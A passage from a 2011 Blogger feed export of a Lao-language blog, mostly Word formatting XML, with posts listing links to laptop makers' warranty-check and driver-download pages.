Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Calibri","sans-serif";  mso-bidi-font-family:"Cordia New";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;h2&gt;&lt;span style="font-size: 17.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ ໂນດ​ບຸກ&lt;/span&gt;&lt;span style="font-size: 17.5pt; line-height: 115%; font-family: &amp;quot;Angsana New&amp;quot;,&amp;quot;serif&amp;quot;;" lang="TH"&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="http://esupport.acer.co.th/eSupport/eReg/warr_chk.jsp"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ ໂນ໊​ຕະ​ບຸ໊​ຄ      &lt;/span&gt;Acer&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="http://www11.itrc.hp.com/service/ewarranty/warrantyResults.do"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ &lt;/span&gt;HP -      Compaq&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="http://www.toshibavip.com/index.php?topgroupid=1&amp;amp;subgroupid=50&amp;amp;groupid=43"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ &lt;/span&gt;Toshiba&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=LOOK-WARNTY#sw"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ &lt;/span&gt;Lenovo&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="http://supportapj.dell.com/support/topics/topic.aspx/ap/shared/support/my_systems_info/en/details?c=th&amp;amp;l=en&amp;amp;s=gen&amp;amp;%7Eck=mn"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ &lt;/span&gt;DELL&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="http://www-947.ibm.com/systems/support/supportsite.wss/warrantyform?brandind=5000008"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ &lt;/span&gt;IBM&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="http://uk.ts.fujitsu.com/support/warranty/warranty_ent.html"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ &lt;/span&gt;Fujitsu&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="line-height: normal;"&gt;&lt;a href="https://selfsolve.apple.com/GetWarranty.do"&gt;&lt;span style="font-size: 14pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ &lt;/span&gt;Apple&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Credited by &lt;a href="http://www.drivernotebookall.com/2010/08/dell-streak.html"&gt;A&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-8128810424291617076?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/8128810424291617076/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=8128810424291617076&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8128810424291617076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8128810424291617076'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/02/datpin-valantee-checker_15.html' title='Datpin Valantee checker'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-8842375315351440139</id><published>2011-02-15T07:55:00.000-08:00</published><updated>2011-02-15T08:05:37.316-08:00</updated><title type='text'>ເວັບລິງຄ໌ Datpin Download Driver</title><content type='html'>&lt;div class="dtemplate_widget" id="article-box"&gt;       &lt;div class="dtemplate_detail"&gt;     &lt;div&gt;                &lt;a href="http://topitarcade.igetweb.com/index.php?mo=3&amp;amp;art=402195" class="widget_menu"&gt;Download  Driver ACER  &lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="Edit%20TitleEdit%20Detail%20%20http://support.dell.com/support/index.aspx?c=us&amp;amp;cs=19&amp;amp;l=en&amp;amp;s=dhs&amp;amp;%7Eck=mn%20%20ShareThis" class="widget_menu"&gt;Download  Driver DELL&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="http://www.moolandxp.com/" class="widget_menu"&gt;Download  Driver COMPAQ&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="Edit%20TitleEdit%20Detail%20%20http://welcome.hp.com/country/th/en/support.html?pageDisplay=drivers" class="widget_menu"&gt;Download  Driver HP&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="Edit%20TitleEdit%20Detail%20%20http://pc.toshiba-asia.com/portal/public/show.action?a=support&amp;amp;currentTab=service" class="widget_menu"&gt;Download  Driver Toshiba&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="Edit%20TitleEdit%20Detail%20%20http://www-307.ibm.com/pc/support/site.wss/homeLenovo.do?country=th" class="widget_menu"&gt;Download  Driver Lenovo&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="Edit%20TitleEdit%20Detail%20%20http://www-307.ibm.com/pc/support/site.wss/homeLenovo.do?country=th" class="widget_menu"&gt;Download  Driver IBM&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="Edit%20TitleEdit%20Detail%20%20http://support.asus.com/download/download.aspx?SLanguage=en-us" class="widget_menu"&gt;Download  Driver ASUS&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="http://www.drivernotebookall.com/2010/08/dell-streak.html" class="widget_menu"&gt;Download Driver BenQ&lt;/a&gt;         &lt;/div&gt;     &lt;div&gt;                &lt;a href="http://www.drivernotebookall.com/2010/08/dell-streak.html" class="widget_menu"&gt;Download Driver Notebook All&lt;/a&gt;         &lt;/div&gt;    &lt;/div&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-8842375315351440139?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/8842375315351440139/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=8842375315351440139&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8842375315351440139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8842375315351440139'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/02/datpin-download-driver.html' title='ເວັບລິງຄ໌ Datpin Download Driver'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-4578665115434529486</id><published>2011-02-15T07:49:00.000-08:00</published><updated>2011-02-15T07:55:18.347-08:00</updated><title type='text'>Datpin Valantee checker</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:officedocumentsettings&gt;   &lt;o:allowpng/&gt;  &lt;/o:OfficeDocumentSettings&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;JA&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;TH&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:enableopentypekerning/&gt;    &lt;w:dontflipmirrorindents/&gt;    &lt;w:overridetablestylehps/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" 